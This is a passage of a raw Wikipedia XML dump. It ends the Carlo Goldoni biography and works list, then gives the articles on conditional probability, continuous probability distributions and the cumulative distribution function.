He entered the Italian theatre scene with a tragedy, ''Amalasunta'', produced at Milan. The play was a critical and financial failure. Submitting it to Count Prata, director of the opera, he was told that his piece &quot;was composed with due regard to the rules of [[Aristotle]] and [[Horace]], but not according to those laid down for the Italian drama.&quot; &quot;In France,&quot; continued the count, &quot;you can try to please the public, but here in Italy it is the actors and actresses whom you must consult, as well as the composer of the music and the stage decorators. Everything must be done according to a certain form which I will explain to you.&quot; Goldoni thanked his critic, went back to his inn and ordered a fire, into which he threw the manuscript of his Amalasunta. His next play, ''Belisario'', written in 1734, was more successful, though of its success he afterward professed himself ashamed. 

He wrote other tragedies for a time, but he was not long in discovering that his bent was for comedy. He had come to realize that the Italian stage needed reforming, and adopting [[Molière]] as his model, he went to work in earnest, and in 1738 produced his first real comedy, ''L'uomo di mondo'' (&quot;The Man of the World&quot;). During his many wanderings and adventures in Italy, he was constantly at work, and when, at [[Livorno]], he became acquainted with the manager [[Medebac]], he determined to pursue the profession of playwriting in order to make a living. He was employed by Medebac to write plays for his theater in Venice. He worked for other managers, and produced during his stay in that city some of his most characteristic works. He also wrote ''Momolo Cortesan'' in 1738. By 1743, he had perfected his hybrid style of playwriting (combining the model of Moliere, with the strengths of Commedia Dell'Arte and his own wit and sincerity). This style was typified in ''La Donna di garbo'', the first Italian comedy of its kind.

===Move to France and death===
In 1757, he engaged in a bitter dispute with playwright [[Carlo Gozzi]], which left him utterly disgusted with the tastes of his countrymen; so much that in 1761 he moved to Paris, where he received a position at court and was put in charge of the [[Italian Theatre, Paris|Theatre Italien]].  He spent the rest of his life in France, composing most of his plays in French and writing his memoirs in that language. Even though his works became extremely popular in Italy, he could never be induced to revisit his native land. 

Among the plays which he wrote in French, the most successful was ''[[Le Bourru bienfaisant]]'', produced on the occasion of the marriage of [[Louis XVI of France|Louis XVI]] and [[Marie Antoinette]] in 1771. He enjoyed considerable popularity in France, and when he retired to [[Versailles]] the King gave him a pension. However, he lost this pension once the [[French Revolution]] broke out. The Convention voted to restore his pension the day after his death. It was restored to his widow, at the pleading of the poet [[André Chénier]]. &quot;She is old,&quot; he urged, &quot;she is seventy-six, and her husband has left her no heritage save his illustrious name, his virtues and his poverty.&quot;

==Goldoni's impact on Italian theatre==
Goldoni relates in considerable length in his ''Memoirs'' the state of Italian comedy when he began writing. At that time, Italian comedy revolved around the conventionality of the [[Commedia dell'Arte]], or improvised comedy. Goldoni took to himself the task of superseding the comedy of masks and the comedy of intrigue by representations of actual life and manners.  He rightly maintained that Italian life and manners were susceptible of artistic treatment such as had not been given them before. 

In this project, Goldoni was entirely successful.  His works are a lasting monument to the changes which he brought about: a dramatic revolution that had been attempted but not achieved before, by men whose talents were unequal to the task. Goldoni's importance was rather in giving good examples than precepts. Goldoni says that he took for his models the plays of Molière, and whenever a piece of his own succeeded he whispered to himself, &quot;Good, but not yet Molière.&quot; The great Frenchman was the object of his idolatry. However, Goldoni's plays are gentler and more optimistic in tone than Molière's.

It was this very success the object of harsh critiques by Carlo Gozzi, who accused Goldoni of having deprived the Italian theatre of the charms of poetry and imagination. The great success of Gozzi's fairy dramas so irritated Goldoni that led to his self-exile to France.

It is somewhat remarkable that Goldoni should have been the only one of his many talented countrymen to win a European reputation as a comic writer. In tragedy other names have appeared since the death of [[Vittorio Alfieri]], but Goldoni still stands alone. This may be partly explained by the absence in comedy of a literary style which at the same time was national. Goldoni gave to his country a classical form, which, though it has since been cultivated, has never been cultivated by a master.

==Themes==
In Goldoni's plays, written while he was still in Italy, there is a complete lack of [[religion|religious]] and [[ecclesiastical]] subjects. This is suprising considering his staunch Catholic upbringing. He gives no thoughts to death or repent in his memoirs, or in his comedies.  Indeed, after his move to France, his plays take a clear [[anti-clericalism|anti-clerical]] tone, and often satirize the hypocrisy of monks and of the [[Catholic Church|Church]]. 

Goldoni was inspired by his love of human kind, and the admiration he had for his fellowman. His wrote, and was obsessed with, the relationships humans had with one another, their cities and homes, the [[Humanist]] movement, and the study of [[philosophy]]. The moral and civil values that Goldoni holds to be of utmost importance in his plays are those of rationality, civility, humanism, the importance of the rising middle-class, a progressive stance to state affairs, honor and honesty. Goldoni had a typically middle-class dislike for arrogance, intolerance and the abuse of power.

Goldoni's main characters are no abstract examples of human virtue, nor monstrous examples of human vice. They occupy the middle ground of human temperament. Goldoni maintains an acute sensibility for the differences in social classes between his characters as well as environmental and generational changes. Goldoni pokes fun at the arrogant nobility and the pauper who lacks dignity.

==Language==
As in other theatrical works of the time and place, the characters in Goldoni's comedies spoke originally either the literary Tuscan language (which became modern [[Italian language|Italian]]) or the [[Venetian language|Venetian dialect]], depending on their station in life.  However, in some printed editions of his plays he often turned the Venetian texts into Tuscan, too.

==Works==
===Tragedies===
*''Amalasunta'', burned by Goldoni after its premiere (1733)

===Tragicomedies===
*''Belisario'' (17??)
*''Rosmonda'', &quot;[[Rosamund]]&quot; (17??)
*''La Griselda'' (17??)
*''Don Giovanni Tenorio'' o sia ''Il dissoluto'', &quot;The Dissolute&quot; (17??)
*''Rinaldo di Mont'Albano'' (17??)
*''Enrico'' (17??)
*''Giustino'' (17??)
*''La sposa persiana'', &quot;The [[Persia]]n Wife&quot;, in verse (1753)
*''Ircana in Julfa'', &quot;Ircana in [[Jaffa]]&lt;!--GUESS--&gt;&quot; (17??)
*''Ircana in Ispaan'', &quot;Ircana in [[Isfahan]]&quot; (17??)
*''La peruviana'', &quot;The [[Peru|Peruvian]] Woman&quot; (17??)
*''La bella selvaggia'', &quot;The Savage Beauty&quot; (17??)
*''La dalmatina'', &quot;The [[Dalmatia]]n Woman&quot; (17??)
*''Gli amori di Alessandro Magno'', &quot;The Loves of [[Alexander the Great]]&quot; (17??)
*''Artemisia'', &quot;[[Artemisia]]&quot; (17??)
*''Enea nel Lazio'', &quot;[[Aeneas]] in [[Latium]]&quot; (17??)
*''Zoroastro'', &quot;[[Zoroaster]]&quot; (17??)
*''La bella giorgiana'', &quot;The [[Georgia (country)|Georgia]]n Beauty&quot; (17??)

===Comedies===
*''L'uomo di mondo'', &quot;Man of the World&quot; (17??)
*''Il prodigo'', &quot;The Prodigal One&quot; (17??)
*''Il Momolo cortesan'', partly written, partly improvised (1738)
*''Il mercante fallito'' o sia ''La bancarotta'', &quot;The Bankrupt Merchant&quot; or &quot;The Bankruptcy&quot; (1741)
*''La donna di garbo'' (1743)
*''Il servitore di due padroni'', &quot;The Servant of Two Masters&quot;, now often retitled ''Arlecchino servitore di due padroni'' (1745) 
*''Il frappatore'' (17??)
*''I due gemelli veneziani'', &quot;The Two Venetian Twins&quot; (17??)
*''L'uomo prudente'', &quot;The Prudent Man&quot; (17??)
*''La vedova scaltra'', &quot;The Shrewd Widow&quot; (1748)
*''La putta onorata'', &quot;The Honorable Whore&quot; (1749)
*''Buona moglie'', &quot;The Good Wife&quot; (1749)
*''Il cavaliere e la dama'', &quot;The Gentleman and the Lady&quot; (17??)
*''L'avvocato veneziano'', &quot;The Venetian Lawyer&quot; (17??)
*''Il padre di famiglia'', &quot;The Family Man&quot; (17??)
*''Famiglia dell'antiquario'', &quot;The Antiquarian's Family&quot; (1750)
*''L'erede fortunata'', &quot;The Lucky Heir&quot; (1750)
*''Il teatro comico'' (1750-1751)
*''Le femmine puntigliose'' (1750-1751)
*''La bottega del caffè'', &quot;The Coffee Shop&quot; (1750-1751)
*''Il bugiardo'', &quot;The Liar&quot; (1750-1751)
*''L'adulatore'', &quot;The Flatterer&quot; (17??)
*''Il poeta fanatico'', &quot;The Fanatical Poet&quot; (17??)
*''La Pamela'', &quot;Pamela&quot; (17??)
*''Il cavaliere di buon gusto'', &quot;The Gentleman with Good Taste&quot; (17??)
*''Il giuocatore'', &quot;The Gambler&quot; (17??)
*''Il vero amico'', &quot;The True Friend&quot; (17??)
*''La finta ammalata'', &quot;The Fake Patient&quot; (1750-1751)
*''La dama prudente'', &quot;The Prudent Lady&quot; (17??)
*''L'incognita'', &quot;The Unknown&quot; (17??)
*''L'avventuriere onorato'', &quot;The Honorable Scoundrel&quot; (1750-1751)
*''I pettegolezzi delle donne'', &quot;Women's Gossip&quot; (1750-1751)
*''Il Moliére'', &quot;Molière&quot; (17??)
*''La castalda'' (17??)
*''L'amante militare'', &quot;The Soldier Lover&quot; (17??)
*''Il tutore'', &quot;The Steward&quot; (17??)
*''La moglie saggia'', &quot;The Wise Wife&quot; (1752)
*''Il feudatario'' (17??)
*''Le donne gelose'', &quot;The Jaelous Women&quot; (1752)
*''La serva amorosa'', &quot;The Loving Maid&quot; (1752)
*''I puntigli domestici'', &quot;The Domestic Squabbles&quot; (17??)
*''La figlia obbediente'', &quot;The Obedient Daughter&quot; (17??)
*''I mercatanti'', &quot;The Merchants&quot; (17??)
*''La locandiera'', &quot;The Landlady&quot;&lt;!--OR IS THAT &quot;The innkeeper woman&quot;?--&gt; (1753)
*''Le donne curiose'', &quot;The Curious Women&quot; (1753)
*''Il contrattempo'' o sia ''Il chiacchierone imprudente'', &quot;The Unwelcome Event&quot; or &quot;The Imprudent Talker&quot; (17??)
*''La donna vendicativa'', &quot;The Vengeful Woman&quot; (17??)
*Opening sketch for the Teatro Comico di San Luca, [[October 7]], 1753
*''Il geloso avaro'', &quot;The Jealous Stingy Man&quot; (17??)
*''La donna di testa debole'', &quot;The Feeble Minded Woman&quot; (17??)
*''La cameriera brillante'', &quot;The Genial Maid&quot; (17??)
*''Il filosofo inglese'', &quot;The English Philosopher&quot; (17??)
*''Il vecchio bizzarro'', &quot;The Bizarre Old Man&quot; (17??)
*''Il festino'', &quot;The Banquet&quot; (17??)
*''L'impostore'', &quot;The Imposter&quot; (17??)
*Opening sketch for the Teatro Comico di San Luca, [[fall (season)|fall season]], 1754
*''La madre amorosa'', &quot;The Loving Mother&quot; (17??)
*''Terenzio'', &quot;[[Terentio]]&quot; (17??)
*''Torquato Tasso'', &quot;[[Torquato Tasso]]&quot; (17??)
*''Il cavaliere giocondo'', &quot;The Merry Gentleman&quot; (17??)
*''Le massere'' (1755)
*''I malcontenti'', &quot;The Unsatisfied Ones&quot; (17??)
*Opening sketch for the Teatro Comico di San Luca, fall season,  1755
*''La buona famiglia'', &quot;The Good Family&quot; (17??)
*''Le donne de casa soa&quot;, &quot;The Women from His Hosehold&quot;&lt;!--OR IS THAT &quot;The Women from His Home Town&quot;?--&gt; (1755)
*''La villeggiatura'', &quot;The Vacation&quot; (17??)
*''La donna stravagante'', &quot;The Extravagant Woman&quot; (17??)
*''Il campiello'' (1756)
*''L'avaro'', &quot;The Stingy Man&quot; (17??)
*''L'amante di se medesimo'', &quot;The Lover of His Own Self&quot; (17??)
*''Il medico olandese'', &quot;The [[Dutch people|Dutch]] Doctor&quot; (17??)
*''La donna sola'', &quot;The Lonely Woman&quot; (17??)
*''La pupilla'', &quot;The Female Student&quot; (17??)
*''Il cavaliere di spirito'' o sia ''La donna di testa debole'', &quot;The Witty Gentleman&quot; or &quot;The Feeble Minded Woman&quot; (17??)
*''La vedova spiritosa'', &quot;The Spirituous Widow&quot; (17??)
*''Il padre per amore'', &quot;Father for Love&quot; (17??)
*''Lo spirito di contraddizione'', &quot;Spirit of Contradiction&quot; (17??)
*''Il ricco insidiato'', &quot;The Sought After Rich man&quot; (17??)
*''Le morbinose''
*''Le donne di buon umore'', &quot;The Good Humored Women&quot; (17??)
*''L'apatista'' o sia ''L'indifferente'', &quot;The Apathic Man&quot; or &quot;The Indifferent Man&quot; (17??)
*''La donna bizzarra'', &quot;The Bizarre Woman&quot; (17??)
*''La sposa sagace'', &quot;The Wise Woman&quot; (17??)
*''La donna di governo'' (17??)
*''La donna forte'', &quot;The strong Woman&quot; (17??)
*''I morbinosi'' (1759)?
*''La scuola di ballo'', &quot;The Dance School&quot; (17??)
*''Gli innamorati'', &quot;The Lovers&quot; (1759)
*''Pamela maritata'', &quot;Pamela Is Married&quot; (17??)
*''L'impresario delle Smirne'', &quot;The Businessman from [[Izmir|Smyrna]]&quot; (1759)
*''La guerra'', &quot;The War&quot; (17??)
*''I rusteghi'', &quot;The Country Folk&quot; (1760)
*''Il curioso accidente'', &quot;The Curious Incident&quot; (1760)
*''La donna di maneggio'' (17??)
*''La casa nova'', &quot;The New House&quot; (1760)
*''La buona madre'', &quot;The Good Mother&quot; (1761)
*''Le smanie per la villeggiatura'', &quot;Pining for Vacation&quot; (1761)
*''Le avventure della villeggiatura'', &quot;The Adventures of Vacation&quot; (1761)
*''Il ritorno dalla villeggiatura'', &quot;Back from Vacation&quot; (1761)
*''Lo scozzese'', &quot;The [[Stottish people|Scotsman]]&quot; (17??)
*''Il buon compatriotto'', &quot;The Good Compatriot&quot; (17??)
*''Il sior Todero brontolono sia Il vecchio fastidioso'', &quot;Grumpy Mr. Todero&quot; (1762)
*''Le baruffe chiozzotte'' (1762) 
*''Una delle ultime sere di carnevale'', &quot;One of the Last Carnival Evenings&quot; (1762)
*''L'osteria della posta'', &quot;The Tavern at the Mail Station&quot; (17??)
*''L'amore paterno'' o sia ''La serva riconoscente'', &quot;Father's Love&quot; or &quot;The Grateful Maid&quot; (17??)
*''Il matrimonio per concorso'', &quot;Marriage by Contest&quot; (17??)
*''Les amours d'Arlequin et de Camille'', &quot;The Love of Harlequin And Camilla&quot; (1763)
*''La jalousie d'Arlequin'', &quot;Harlequin's Jealousy&quot; (1763)
*''Les inquiétudes de Camille'', &quot;Camilla's Worries&quot; (1763)
*''Gli amori di Zelinda e Lindoro'', &quot;The Love of Zelinda and Lindoro&quot; (1764)
*''La gelosia di Lindoro'', &quot;Lindoro's Jealousy&quot; (17??)
*''L'inquietudini di Zelinda'', &quot;Zelinda's Worries&quot; (17??)
*''Gli amanti timidi'' o sia ''L'imbroglio de' due ritratti'', &quot;The Shy Lovers&quot; or &quot;The Two Portraits' Mess&quot; (17??)
*''Il ventaglio'', &quot;The Fan&quot; (1765)
*''La burla retrocessa nel contraccambio'' (17??)
*''Chi la fa l'aspetti'' o sia ''I chiassetti del carneval'' (17??)
*''Il genio buono e il genio cattivo'', &quot;The Good Nature and the Bad Nature&quot;&lt;!--OR IS IT &quot;The Good Genie and the Bad Genie&quot;?--&gt; (17??)
*''Il burbero di buon cuore'', &quot;The Tender-Hearted Grumpy Man&quot; (17??)
*''Le bourru bienfaisant'' (1771)
*''L'avare fastueux'' (1776)
*''L'avaro fastoso'' (17??)

===Melodrama===
*''La contessina'', &quot;The Young Countess&quot;, music by Maccari (1743)
*''L'Arcadia in Brenta'', &quot;The [[Acadia]] in [[Brenta]]&quot; music by Galuppi (1749)
*''Il filosofo di campagna'', &quot;The Country Philosopher&quot;, music by Galuppi(1754)
*''Il mercato di Malmantile'', &quot;The Malmantile Market&quot;, music by Fischietti (1757)
*''La buona fugliuola'', &quot;The Good Daughter&quot;, music by Piccinni (1760)
&lt;!--
Burlesque
          o Aristide
          o La fondazion di Venezia
          o Lucrezia romana in Costantinopoli
          o La contessina
          o La scuola moderna o sia La maestra di buon gusto
          o Bertoldo, Bertoldino e Cacasenno
          o L'Arcadia in Brenta
          o Il negligente
          o Il finto principe
          o Il mondo della Luna
          o Arcifanfano re dei matti
          o Il paese della cuccagna
          o Il mondo alla rovescia o sia Le donne che comandano
          o La mascherata
          o Le donne vendicate
          o Il conte Caramella
          o Le pescatrici
          o Le virtuose ridicole
          o I portentosi effetti della madre natura 
--&gt;
&lt;!--
Dramas
    * La calamita de' cuori
    * I bagni d'Abano
    * De gustibus non est disputandum
    * Il filosofo di campagna
    * Lo speziale
    * Il povero superbo
    * Le nozze
    * La diavolessa
    * La cascina
    * La ritornata di Londra
    * La buona figliuola
    * Il festino
    * Il viaggiatore ridicolo
    * L'isola disabitata
    * Il mercato di Malmantile
    * La conversazione
    * Il signor dottore
    * Buovo d'Antona
    * Gli uccellatori
    * Il conte Chicchera
    * Filosofia ed amore?
    * La fiera di Senigaglia
    * Amor contadino
    * L'amore artigiano
    * Amore in caricatura
--&gt;
&lt;!--
Theatrical compositions

    Later Burlesque plays
          o La donna di governo
          o La buona figliuola maritata
          o La bella verità
          o Il re alla caccia
          o La finta semplice
          o La notte critica
          o La cameriera spiritosa
          o Le nozze in campagna
          o I volponi
          o Il talismano
          o Vittorina 

    Melodramas
          o La generosità politica
          o Gustavo primo re di Svezia
          o Oronte re de' Sciti
          o Statira
          o Tigrane
          o Germondo 
--&gt;
===Cantatas and serenades===
*''La ninfa saggia'', &quot;The Wise Nymph&quot; (17??)
*''Gli amanti felici'', &quot;The Happy Lovers&quot; (17??)
*''Le quattro stagioni'', &quot;The Four Seasons&quot; (17??)
*''Il coro delle muse'', &quot;The Choir of the Muses&quot; (17??)
*''La pace consolata'', &quot;Peace Comforted&quot; (17??)
*''L'amor della patria'', &quot;Love for the Country&quot; (17??)
*''L'oracolo del Vaticano'', &quot;The Vatican's Oracle&quot; (17??)

===Oratorios===
*''Magdalena conversio'', &quot;The Conversion of [[Magdalene]]&quot; (17??)

===Religious plays===
*''L'unione del reale profeta Davide'', &quot;The Marriage of Royal Prophet [[David]]&quot; (17??)

===Performances===
*''La metempsicosi'' o sia ''La pitagorica trasmigrazione'', &quot;The [[Metempsychosis]]&quot; or &quot;The [[Pythagoras|Pythagorean]] [[Transmigration]]&quot; (17??)
*''Il disinganno in corte'', &quot;The Disappointment at the Court&quot; (17??)

===Poetry===
*''Il colosso'', a satire against Parma girls which led to Goldoni being expelled from high school (1725)
*''Il quaresimale in epilogo'' (1725-1726)
&lt;!--
    * Sonetti sacri
    * Esopo alla grata
    * L'insonio
    * La gondola
    * La conzateste
    * Il burchiello
    * Te Deum laudamus
    * Goldoni in villeggiatura
    * I riti e le cerimonie
    * La mascherata
    * La tavola rotonda
    * La costa di Adamo
    * Lo spirito Santo
    * La pubblica confessione
    * La visita delle sette chiese
    * La settimana santa
    * L'innesto
    * Il burchiello di Padova
    * L'ombra di Tito Livio
    * La Cabala
    * Le tre sorelle
    * Il mondo nuovo
    * Amor vendicato
    * Amor processato
    * L'anno felice
    * Babiole
    * Stravaganza
    * Il pellegrino
    * La piccola Venezia
    * La pace fra Melpomene e Talia
    * La galleria di Versailles 
--&gt;
===Intermezzos===
*''Il buon padre'', &quot;The Good Father&quot; (1729)
*''La cantatrice'', &quot;The Singer&quot; (1729)
*''Gli sdegni amorosi, ossia il Gondolier veneziano'', &quot;The Lover's Scorn, or the Venetian [[Gondoliere]]&quot; (1732)
&lt;!--
    * La pelarina
    * Il gondoliere veneziano o sia Gli sdegni amorosi
    * La pupilla
    * La birba
    * L'ipocondriaco
    * Il filosofo
    * Monsieur Petiton
    * La bottega del caffè
    * L'amante Cabala
    * Amor fa l'uomo cieco
    * Il quartiere fortunato
    * La favola de' tre gobbi
    * Il matrimonio discorde
    * La cantarina
    * La vendemmia 
--&gt;
===Books===
*''Nuovo teatro comico'', &quot;New Comic Theather&quot;, plays. Pitteri, Venice (1757)
*''Mémoires'', &quot;Memoirs&quot;. Paris (1787)
*Goldoni's collected works. Zalta, Venice (1788–1795)

===Translations===
*''La storia di Miss Jenny'', &quot;The Story of Miss Jenny&quot; of Riccoboni, into French&lt;!--GUESS--&gt;

==References==
* ''The Drama: Its History, Literature and Influence on Civilization'' ed. Alfred Bates. New York: Historical Publishing Company, 1906. pp. 63-68.

==External links==
* [http://www.vicenzanews.it/apt_pro/goldonicarlo/ Detailed biography], prepared for the 200th anniversary of his death (1993, in Italian)

[[Category:1707 births|Goldoni, Carlo]]
[[Category:1793 deaths|Goldoni, Carlo]]
[[Category:Opera librettists|Goldoni, Carlo]]
[[Category:Italian dramatists and playwrights|Goldoni, Carlo]]
[[Category:Natives of Venice|Goldoni, Carlo]]

[[bg:Карло Голдони]]
[[cs:Carlo Goldoni]]
[[cy:Carlo Goldoni]]
[[de:Carlo Goldoni]]
[[es:Carlo Goldoni]]
[[eo:Carlo GOLDONI]]
[[fr:Carlo Goldoni]]
[[it:Carlo Goldoni]]
[[he:קרלו גולדוני]]
[[pl:Carlo Goldoni]]</text>
    </revision>
  </page>
  <page>
    <title>Conditional probability</title>
    <id>5791</id>
    <revision>
      <id>41889765</id>
      <timestamp>2006-03-02T11:29:48Z</timestamp>
      <contributor>
        <ip>202.6.138.33</ip>
      </contributor>
      <comment>/* Definition */</comment>
      <text xml:space="preserve">:''[[Marginal probability]] and [[joint probability]] redirect to this page.''

This article defines some terms which characterize [[probability distribution]]s of two or more [[variables]].

'''Conditional probability''' is the [[probability]] of some [[event (probability theory)|event]] ''A'', given the occurrence of some other event ''B''.
Conditional probability is written ''P''(''A''|''B''), and is read &quot;the probability of ''A'', given ''B''&quot;.

'''Joint probability''' is the probability of two events in conjunction. That is, it is the probability of both events together. The joint probability of  ''A'' and ''B'' is written &lt;math&gt;P(A \cap B)&lt;/math&gt; or &lt;math&gt;P(A,  B).&lt;/math&gt;

'''Marginal probability''' is the probability of one event,  regardless of the other event. Marginal probability is obtained by [[summation|summing]] (or [[integrating]], more generally) the joint probability over the unrequired event.  This is called '''marginalization'''. The marginal probability of ''A'' is written ''P''(''A''),  and the marginal probability of ''B'' is written ''P''(''B'').

In these definitions, note that there need not be a [[causal]] or [[temporal]] relation between ''A'' and ''B''. ''A'' may precede ''B'', or vice versa, or they may happen at the same time. ''A'' may [[cause]] ''B'', or vice versa, or they may have no causal relation at all.

'''Conditioning''' of probabilities, i.e. updating them to take account of (possibly new) information, may be achieved through [[Bayes' theorem]].

==Definition==
If ''A'' and ''B'' are events, and ''P''(''B'') &gt; 0, then the conditional probability of ''A'', given ''B'' is

:&lt;math&gt;P(A\mid B)=\frac{P(A \cap B)}{P(B)}.&lt;/math&gt;

Equivalently, we have

:&lt;math&gt;P(A \cap B)=P(A\mid B) P(B).&lt;/math&gt;

==Statistical independence==

Two random [[event (probability theory) | events]] ''A'' and ''B'' are [[statistical independence|statistically independent]] if and only if

:&lt;math&gt;P(A \cap B) \ = \ P(A)  P(B).&lt;/math&gt;

Thus, if ''A'' and ''B'' are independent, then their joint probability can be expressed as a simple product of their individual probabilities.

Equivalently, for two independent events ''A'' and ''B'',

:&lt;math&gt;P(A|B) \ = \ P(A)&lt;/math&gt;

and

:&lt;math&gt;P(B|A) \ = \ P(B).&lt;/math&gt;

In other words, if ''A'' and ''B'' are independent, then the conditional probability of ''A'', given ''B'' is simply the individual probability of ''A'' alone;  likewise, the probability of ''B'' given ''A'' is simply the probability of ''B'' alone.

==Mutual exclusivity==

Two events ''A'' and ''B'' are [[mutually exclusive]] if and only if

:&lt;math&gt;P(A \cap B) = 0&lt;/math&gt;

as long as 

:&lt;math&gt;P(A) \ne 0&lt;/math&gt;
and
:&lt;math&gt;P(B) \ne 0.&lt;/math&gt;

Then 
:&lt;math&gt;P(A\mid B) = 0&lt;/math&gt; 
and
:&lt;math&gt;P(B\mid A) = 0.&lt;/math&gt;

In other words, the probability of ''A'' happening, given that ''B'' happens, is nil since ''A''  and ''B'' cannot both happen in the same situation;  likewise, the probability of ''B'' happening, given that ''A'' happens, is also nil.

==Other considerations==

* If &lt;math&gt;B&lt;/math&gt; is an event and &lt;math&gt;P(B) &gt; 0&lt;/math&gt;, then the function &lt;math&gt;Q&lt;/math&gt; defined by &lt;math&gt;Q(A) = P(A|B)&lt;/math&gt; for all events &lt;math&gt;A&lt;/math&gt; is a [[probability measure]].

* If &lt;math&gt;P(B)=0&lt;/math&gt;, then &lt;math&gt;P(A|B)&lt;/math&gt; is left [[undefined]].

* Conditional probability can be calculated with a [[decision tree]].

==See also==
*[[Bayes' theorem]] 
*[[Likelihood function]]
*[[Posterior probability]]
*[[Probability theory]]
*[[Monty Hall problem]]

[[Category:Probability theory]]

[[de:Bedingte Wahrscheinlichkeit]]
[[es:Probabilidad condicionada]]
[[fr:Probabilité conditionnelle]]
[[it:Probabilità condizionata]]
[[nl:Voorwaardelijke kans]]
[[pl:Prawdopodobieństwo warunkowe]]
[[su:Conditional probability]]
[[sv:Betingad sannolikhet]]</text>
    </revision>
  </page>
  <page>
    <title>Continuous probability distribution</title>
    <id>5792</id>
    <revision>
      <id>29755611</id>
      <timestamp>2005-12-01T01:37:46Z</timestamp>
      <contributor>
        <username>Michael Hardy</username>
        <id>4626</id>
      </contributor>
      <text xml:space="preserve">By one convention, a [[probability distribution]] is called '''continuous''' if its [[cumulative distribution function]] is [[continuous function|continuous]]. That is equivalent to saying that for [[random variable]]s ''X'' with the distribution in question, Pr[''X'' = ''a''] = 0 for all [[real number]]s ''a'', i.e.: the probability that ''X'' attains the value ''a'' is zero, for any number ''a''.

While for a [[discrete probability distribution]] one could say that an [[event]] with [[probability]] zero is impossible, this can not be said in the case of a continuous random variable, because then no value would be possible.

This [[paradox]] is solved by realizing that the probability that ''X'' attains a value  in an [[uncountable]] set (for example an [[interval (mathematics)|interval]]) can not be found by adding the probabilities for individual values.

By another convention, the term &quot;continuous probability distribution&quot; is reserved for distributions that have [[probability density function]]s. These are most precisely called '''[[absolutely continuous]]''' random variables (see [[Radon–Nikodym theorem]]).

A random variable with the [[Cantor distribution]] is continuous according to the first convention, but according to the second, it is not (absolutely) continuous. Also, it is not discrete nor a weighted average of discrete and absolutely continuous random variables.

In practical applications random variables are often either discrete or absolutely continuous.

[[Category:Probability theory]]

[[pl:Zmienna losowa ciągła]]
[[su:Continuous random variable]]</text>
    </revision>
  </page>
  <page>
    <title>Cumulative distribution function</title>
    <id>5793</id>
    <revision>
      <id>36412892</id>
      <timestamp>2006-01-23T22:02:45Z</timestamp>
      <contributor>
        <ip>128.180.34.21</ip>
      </contributor>
      <comment>added link to cadlag functions</comment>
      <text xml:space="preserve">In [[probability theory]], the '''cumulative distribution function''' (abbreviated '''cdf''') completely describes the probability distribution of a [[Real_number|real]]-valued [[random variable]], ''X''. For every real number ''x'', the cdf is given by

:&lt;math&gt;F(x) = \operatorname{P}(X\leq x),&lt;/math&gt;

where the right-hand side represents the [[probability]] that the random variable ''X'' takes on a value less than or
equal to ''x''. The probability that ''X'' lies in the [[interval (mathematics)|interval]] (''a'',&amp;nbsp;''b''&lt;nowiki&gt;]&lt;/nowiki&gt; is therefore ''F''(''b'')&amp;nbsp;&amp;minus;&amp;nbsp;''F''(''a'') if ''a''&amp;nbsp;&lt;&amp;nbsp;''b''.  It is conventional to use a capital ''F'' for a cumulative distribution function, in contrast to the lower-case ''f'' used for [[probability density function]]s and [[probability mass function]]s.

Note that in the definition above, the &quot;less or equal&quot; sign, '&amp;le;' could be replaced with &quot;strictly less&quot; '&lt;'.  This would yield a different function, but either of the two functions can be readily derived from the other.    The only thing to remember is to stick to either definition as mixing them will lead to incorrect results.  In English-speaking countries the convention that uses the weak inequality (&amp;le;) rather than the strict inequality (&lt;) is nearly always used.

The &quot;point probability&quot; that ''X'' is exactly ''b'' can be found as

:&lt;math&gt;\operatorname{P}(X=b) = F(b) - \lim_{x \to b^{-}} F(x)&lt;/math&gt;

==Complementary cumulative distribution function==
Sometimes, it is useful to study the opposite question and ask how often the random variable is ''above'' a particular level. This is called the '''complementary cumulative distribution function''' ('''CCDF'''), defined as

:&lt;math&gt;F_c(x) = \operatorname{P}(X &gt; x) = 1 - F(x)&lt;/math&gt;.

== Examples ==
As an example, suppose ''X'' is uniformly distributed on the [[unit interval]] [0,&amp;nbsp;1].
Then the cdf is given by

:''F''(''x'') = 0, if ''x'' &lt; 0;
:''F''(''x'') = ''x'', if 0 &amp;le; ''x'' &amp;le; 1;
:''F''(''x'') = 1, if ''x'' &gt; 1.

For a different example, suppose ''X'' takes only the values 0 and 1, with equal probability.
Then the cdf is given by

:''F''(''x'') = 0, if ''x'' &lt; 0;
:''F''(''x'') = 1/2, if 0 &amp;le; ''x'' &lt; 1;
:''F''(''x'') = 1, if ''x'' &amp;ge; 1.

== Properties ==
Every cumulative distribution function ''F'' is (not necessarily strictly) [[monotone increasing]] and [[continuous function|continuous]] from the right (''right-continuous''). Furthermore, we have &lt;math&gt;\lim_{x\to -\infty}F(x)=0&lt;/math&gt; and &lt;math&gt;\lim_{x\to +\infty}F(x)=1&lt;/math&gt;. Every function with these four properties is a cdf.  Almost all cdfs are [[cadlag]] functions.

If ''X'' is a [[discrete random variable]], then it attains values ''x''&lt;sub&gt;1&lt;/sub&gt;, ''x''&lt;sub&gt;2&lt;/sub&gt;, ... with probability ''p''&lt;sub&gt;i&lt;/sub&gt; = p(''x''&lt;sub&gt;i&lt;/sub&gt;), and the cdf of ''X'' will be discontinuous at the points ''x''&lt;sub&gt;''i''&lt;/sub&gt; and constant in between:

:&lt;math&gt;F(x) = \operatorname{P}(X\leq x) = \sum_{x_i \leq x} \operatorname{P}(X = x_i) = \sum_{x_i \leq x} p(x_i)&lt;/math&gt;

If the cdf ''F'' of ''X'' is [[continuous function|continuous]], then ''X'' is a [[continuous random variable]]; if furthermore ''F'' is [[absolute continuity|absolutely continuous]], then there exists a [[Lebesgue integral|Lebesgue-integrable]] function ''f''(''x'') such that 

:&lt;math&gt;F(b)-F(a) = \operatorname{P}(a\leq X\leq b) = \int_a^b f(x)\,dx&lt;/math&gt;

for all real numbers ''a'' and ''b''.  (The first of the two equalities displayed above would not be correct in general if we had not said that the distribution is continuous.  Continuity of the distribution implies that P(''X'' = ''a'') = P(''X'' = ''b'') = 0, so the difference between &quot;&lt;&quot; and &quot;&amp;le;&quot; ceases to be important in this context.)  The function ''f'' is equal to the [[derivative]] of ''F'' [[almost everywhere]], and it is called the [[probability density function]] of the distribution of ''X''.

